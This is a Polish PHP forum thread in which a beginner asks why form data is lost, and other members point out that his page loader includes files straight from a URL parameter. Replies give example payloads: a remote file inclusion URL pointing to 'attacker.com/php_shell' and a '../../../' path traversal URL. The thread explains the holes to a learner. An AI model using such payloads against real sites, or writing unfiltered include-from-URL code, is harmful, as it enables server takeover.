![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 0 Dołączył: 26.03.2011 Skąd: Dąbrowa Górnicza Ostrzeżenie: (0%) ![]() ![]() |
Witam, mój problem jest krótki ale kody już nie. Nie mam pomysłu dlaczego moje dane wpisane formularz nie są wysyłane dalej.
Tablica, którą zapisuje w sesji działa tak piknię, ale już nie dane, które wpisuje w formularz. Żeby ładnie utrzymać ten sam adres czyli indexhome.php używam takiego kodu: indexhome.php
Dlatego konsekwencją jest to, że w akcji formularza mam:
A musi być w GET ponieważ poprzez ukryte pole w formularzu wracam na stronę docelową, którą chce uzyskać.
A wpisując coś w formularz i naciskając przycisk, na stronie "walidacjadodawaniaquizu" nic się nie pojawia? Czemu? Jeśli te kawałki były nieprzyjazne dla was zamieszczam te 3 strony, które sprawiają mi sen z powiek. indexhome.php
dodawaniequizu.php
walidacjadodawaniequizu.php
|
|
|
![]() |
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 4 298 Pomógł: 447 Dołączył: 16.11.2006 Ostrzeżenie: (0%) ![]() ![]() |
1. Twój kod jest dziurawy
2. Twój kod jest źle napisany 3. z debuguj swój kod var_dump linijka po linijce i będziesz wiedział w którym miejscu i dlaczego gubisz dane. |
|
|
![]()
Post
#3
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 0 Dołączył: 26.03.2011 Skąd: Dąbrowa Górnicza Ostrzeżenie: (0%) ![]() ![]() |
Czy można prosić o wskazanie dlaczego jest źle napisany/gdzie gubię dane, gdyż każda uwaga, która może pomóc udoskonalić/poprawić moje działania jest bardzo ważna dla mnie.
|
|
|
![]()
Post
#4
|
|
Grupa: Zarejestrowani Postów: 2 148 Pomógł: 230 Dołączył: 26.03.2008 Ostrzeżenie: (0%) ![]() ![]() |
Czy można prosić o wskazanie dlaczego jest źle napisany/gdzie gubię dane, gdyż każda uwaga, która może pomóc udoskonalić/poprawić moje działania jest bardzo ważna dla mnie. 1. Twój kod jest dziurawy Wyobraź sobie, że ktoś wpisze http://twojastrona.pl?url=http://attacker.com/php_shell 2. Twój kod jest źle napisany Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc no i przyszedłes tu, bo w końcu nie działa (IMG:style_emoticons/default/smile.gif) gdzie gubię dane 3. z debuguj swój kod var_dump linijka po linijce i będziesz wiedział w którym miejscu i dlaczego gubisz dane.
|
|
|
![]()
Post
#5
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 0 Dołączył: 26.03.2011 Skąd: Dąbrowa Górnicza Ostrzeżenie: (0%) ![]() ![]() |
Wyobraź sobie, że ktoś wpisze http://twojastrona.pl?url=http://attacker.com/php_shell Dlatego mam taki kod.
Prawdopodobnie wypiszę brak strony lub zgłupieje z powodu podwójnych rozszerzeń lub będzie próbowało szukać strony w katalogu o nazwie "http://attacker.com/php_shell.php" Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc no i przyszedłes tu, bo w końcu nie działa (IMG:style_emoticons/default/smile.gif) Prawda przyszedłem ponieważ nie działa. Ale zbytnio nie rozumiem: Cytat Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc O co tutaj chodzi bo zbytnio nie zrozumiałem? Prawdopodobnie chodzi o wcięcia i to przyznam fakt nie wiedziałem, czy łączyć jak php czy zachować wcięcia dla html. A zapisu If(warunek){ instrukcje } nie uważam za czytelny ponieważ pierwsza klamra, jest nie widoczna podczas scrolowania kodu (IMG:style_emoticons/default/smile.gif) Dziękuje za odzew i czekam na odpowiedz : ) |
|
|
![]()
Post
#6
|
|
Grupa: Zarejestrowani Postów: 162 Pomógł: 12 Dołączył: 20.12.2009 Skąd: Siedlce Ostrzeżenie: (0%) ![]() ![]() |
Cytat Prawdopodobnie wypiszę brak strony lub zgłupieje z powodu podwójnych rozszerzeń lub będzie próbowało szukać strony w katalogu o nazwie "http://attacker.com/php_shell.php" Jeżeli bodajże allow_url_include=1 (czyjakoś tak w php.ini) wykonasz skrypt "http://attacker.com/php_shell.php" Cytat Prawda przyszedłem ponieważ nie działa. Ale zbytnio nie rozumiem: Cytat Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc O co tutaj chodzi bo zbytnio nie zrozumiałem? Prawdopodobnie chodzi o wcięcia i to przyznam fakt nie wiedziałem, czy łączyć jak php czy zachować wcięcia dla html. A zapisu If(warunek){ instrukcje } nie uważam za czytelny ponieważ pierwsza klamra, jest nie widoczna podczas scrolowania kodu Dziękuje za odzew i czekam na odpowiedz : ) Chodzi o to, aby oddzielna klasa/funkcja/blok kodu odpowiadał za wyświetlenie strony dla użytkownika, a oddzielny za obliczenia/komunikację z bazą itp. |
|
|
![]()
Post
#7
|
|
Grupa: Zarejestrowani Postów: 4 298 Pomógł: 447 Dołączył: 16.11.2006 Ostrzeżenie: (0%) ![]() ![]() |
Dlatego mam taki kod.
Kod http://example/index.php?url=../../../admin/rozpocznij_zaglade.php Teraz już rozumiesz? Nie wczytuje się plików bezpośrednio z url, zakładając że to jego nazwa, poza tym nie filtrujesz tego w ogóle... a poza tym nie warto pisać poraz 100 tego samego, przejrzyj forum, jest dużo na ten temat. Ten post edytował !*! 17.02.2013, 18:20:58 |
|
|
![]()
Post
#8
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 0 Dołączył: 26.03.2011 Skąd: Dąbrowa Górnicza Ostrzeżenie: (0%) ![]() ![]() |
Rozumiem, zagrożenie związane z URL tylko nie rozumiem, twoich obaw związanych z filtrowaniem?
Tak jak kolega wypowiedział się wyżej jeśli mam wyłączoną tą funkcję "allow_url_include=1 " to powinienem być bezpieczny. Rozumiem filtrowanie gdy użytkownik podaje bezpośrednio dane, które będą zapisywane w bazie. Tutaj wydaje mi się, że funkcje pełni is_file, który mi ma sprawdzać czy taki plik istnieje z końcówką php. Wynikiem wywołania adresu URL prawdopodobnie okaże się false. Ponieważ nie znajdzie w aktualnym katalogu takiego pliku. A zbytnio nie rozumiem jak by to haker miał się "wcisnąć" przez ftp, które jest o wiele lepiej zabezpieczone (IMG:style_emoticons/default/smile.gif) Ten post edytował luke18dg 18.02.2013, 03:26:51 |
|
|
![]()
Post
#9
|
|
Grupa: Zarejestrowani Postów: 3 034 Pomógł: 366 Dołączył: 24.05.2012 Ostrzeżenie: (0%) ![]() ![]() |
url powinieneś filtrować zawsze bo wystarczy, że wpisze
Kod http://127.0.0.1/indexhome.php?url=indexhome i już Ci się zapętli wywołanie w nieskończoność (IMG:style_emoticons/default/wink.gif) pozatym jak sam wspomniałeś może sie pojawić problem podwójnego roszerzenia, kiedy ktoś wpisze adres w url nawet poprawny adres ale z roszerzeniem i wtedy też mu sie pojawi komunikat Error 500002 - Brak strony o podanej nazwie. (IMG:style_emoticons/default/wink.gif) btw o wiele prosciej byłoby uzyć mod_rewrite i wyrazeń reguralnych (IMG:style_emoticons/default/wink.gif) A co do czytelności kodu to polecam lekture na temat MVC(czyli oddzielienie widoku od danych pobieranych i kontroli nad nimi) , bo obecnie bez tego ani rusz (IMG:style_emoticons/default/wink.gif) Ten post edytował com 18.02.2013, 02:09:39 |
|
|
![]()
Post
#10
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 0 Dołączył: 26.03.2011 Skąd: Dąbrowa Górnicza Ostrzeżenie: (0%) ![]() ![]() |
I takiej konkretnej odpowiedzi oczekiwałem, dziękuje. : )
|
|
|
![]()
Post
#11
|
|
Grupa: Zarejestrowani Postów: 4 298 Pomógł: 447 Dołączył: 16.11.2006 Ostrzeżenie: (0%) ![]() ![]() |
Rozumiem, zagrożenie związane z URL tylko nie rozumiem, twoich obaw związanych z filtrowaniem? Tak jak kolega wypowiedział się wyżej jeśli mam wyłączoną tą funkcję "allow_url_include=1 " to powinienem być bezpieczny. Rozumiem filtrowanie gdy użytkownik podaje bezpośrednio dane, które będą zapisywane w bazie. Tutaj wydaje mi się, że funkcje pełni is_file, który mi ma sprawdzać czy taki plik istnieje z końcówką php. Wynikiem wywołania adresu URL prawdopodobnie okaże się false. Ponieważ nie znajdzie w aktualnym katalogu takiego pliku. A zbytnio nie rozumiem jak by to haker miał się "wcisnąć" przez ftp, które jest o wiele lepiej zabezpieczone (IMG:style_emoticons/default/smile.gif) Skąd myśl że is_file Cie przed czymś broni? Przeczytałeś od czego ona jest? Tak samo allow_url_include? Wątpię. Skoro inne pliki masz z rozszerzeniem .php to oczywiste że mogę wczytać każdy jaki mi się tylko podoba. Nie ma sensu prowadzić dalej tej dyskusji. Tematów było o tym więcej na forum niż użytkowników. Ten post edytował !*! 18.02.2013, 10:40:26 |
|
|
![]() ![]() |
![]() |
Aktualny czas: 2.10.2025 - 00:39 |